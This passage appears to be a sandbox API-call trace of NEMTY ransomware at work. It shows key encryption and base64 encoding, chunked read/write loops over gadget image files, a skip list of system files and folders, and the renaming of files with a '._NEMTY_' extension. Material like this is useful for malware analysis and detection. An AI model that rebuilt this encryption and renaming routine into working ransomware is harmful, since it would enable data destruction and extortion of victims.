(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0114.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer.png", lpUsedDefaultChar=0x0) returned 14 [0114.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0114.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer.png", lpUsedDefaultChar=0x0) returned 14 [0114.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0114.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer.png", lpUsedDefaultChar=0x0) returned 14 [0114.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0114.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer.png", lpUsedDefaultChar=0x0) returned 14 [0114.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0114.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0114.486] Sleep (dwMilliseconds=0x5) [0114.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf7e2cfd0, dwHighDateTime=0x1d561e7)) [0114.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf7e2cfd0, dwHighDateTime=0x1d561e7)) [0114.486] GetLastError () returned 0xb7 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.486] GetLastError () returned 0xb7 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0114.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0114.486] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0114.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0114.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="Z9dEks3vEU60owL+gxKDCalegotXF/El0ry5TsZL/ta90r/k1ukXJ3VK9xDN1XFM\r\n3ZfF9HqEPiodV74M1cjZ/+2RtDuE20bQxLr3d3bSk7Mt+BRvjWBJ+Zn+i+iNwCtu\r\nzY3Iczyk3S93hrvpiIA6IWyuD1PFhhcy+t3XM1kd7dL7sslgbBzbAb+J5cfDlHiF\r\n2+gbWyhJ6PRGId5pFJ9XL6zVQSM6MFu1yfkv8BY9qVey4saJBK6Ras7zAc8jGESh\r\nm0h8aLiA9CzEQv+zMHQ1BAcDHUIab4fu+jiJZPJBWt+C81gO3J9F896w28wT8EuZ\r\n4PFlWPZbeJMZhteq+Wmu0w==\r\n", pcchString=0x653e91c) returned 1 [0114.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0114.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.487] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.487] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0114.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.594] CloseHandle (hObject=0xffffffff) returned 0 [0114.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0114.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0114.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png._nemty_kgobjgd_")) returned 0 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0114.594] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0114.594] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".") returned 1 [0114.594] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="..") returned 1 [0114.594] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="...") returned 1 [0114.594] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="windows") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="rsa") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="NTDETECT.COM") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="ntldr") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="MSDOS.SYS") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="IO.SYS") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="boot.ini") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="boot.ini") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="ntuser.dat") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="desktop.ini") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="CONFIG.SYS") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="RECYCLER") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="bootmgr") returned 1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="programdata") returned -1 [0114.595] lstrcmpiW (lpString1="cronometer_dot.png", lpString2="appdata") returned 1 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_dot.png", lpUsedDefaultChar=0x0) returned 18 [0114.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_dot.png", lpUsedDefaultChar=0x0) returned 18 [0114.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0114.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_dot.png", lpUsedDefaultChar=0x0) returned 18 [0114.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0114.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_dot.png", 